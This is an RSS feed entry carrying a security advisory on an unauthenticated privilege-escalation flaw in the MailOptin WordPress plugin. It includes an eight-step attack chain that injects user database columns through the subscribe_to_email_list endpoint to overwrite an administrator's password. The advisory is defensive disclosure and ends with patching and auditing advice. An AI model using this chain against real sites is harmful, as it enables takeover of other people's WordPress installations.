]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>web-application</category><category>vulnerability</category><category>wordpress</category></item><item><title>Unauthenticated Privilege Escalation in MailOptin WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-mailoptin-priv-esc/</link><pubDate>Fri, 16 Oct 2026 06:24:40 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-mailoptin-priv-esc/</guid><description>The MailOptin WordPress plugin contains a vulnerability in the subscribe_to_email_list endpoint that allows unauthenticated attackers to overwrite arbitrary user accounts, including administrators, via insecure parameter handling.</description><content:encoded><![CDATA[<p>The MailOptin plugin for WordPress (versions 1.2.78.6 and below) is vulnerable to a critical privilege escalation flaw. The vulnerability resides in the <code>subscribe_to_email_list</code> endpoint, which fails to validate the <code>optin_data[form_custom_field_mappings]</code> parameter. This oversight allows an unauthenticated attacker to inject arbitrary user database column names into the <code>wp_insert_user()</code> function. By passing an existing administrator's user ID and a chosen password, an attacker can force an update to an existing account. This mechanism enables complete site compromise without requiring prior authentication, nonce validation, or specific user capabilities. Successful exploitation requires an active WordPress User Registration opt-in form, which is typically exposed in the public page source.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker identifies a site running the MailOptin plugin and scans public pages to retrieve the form UUID.</li>
<li>Attacker interacts with the <code>subscribe_to_email_list</code> endpoint without authentication.</li>
<li>Attacker crafts a malicious POST request containing the <code>optin_data[form_custom_field_mappings]</code> parameter.</li>
<li>The input is passed to the <code>subscribe()</code> function, bypassing validation checks.</li>
<li>The attacker-supplied mappings override internal configurations, including <code>ID</code> and <code>user_pass</code> fields.</li>
<li>The <code>wp_insert_user()</code> function is invoked with the injected, attacker-controlled parameters.</li>
<li>The WordPress database record for the targeted user ID is updated with the attacker-provided password.</li>
<li>Attacker logs into the WordPress administrative panel using the compromised account credentials.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation leads to full site takeover by granting attackers administrative access to WordPress instances. Given the widespread use of WordPress opt-in and newsletter plugins, this vulnerability affects any site with a publicly visible registration opt-in form configured via the affected versions of MailOptin. Unauthorized administrative access allows for the deployment of backdoors, data exfiltration, and full control over site content and configuration.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately update the MailOptin plugin to a version released after 1.2.78.6 to patch the insecure parameter validation.</li>
<li>Audit WordPress user account logs for suspicious password resets or unexpected account updates occurring via the <code>wp_insert_user</code> context.</li>
<li>Disable public-facing opt-in forms on WordPress installations until the patch is applied.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category></item></channel></rss>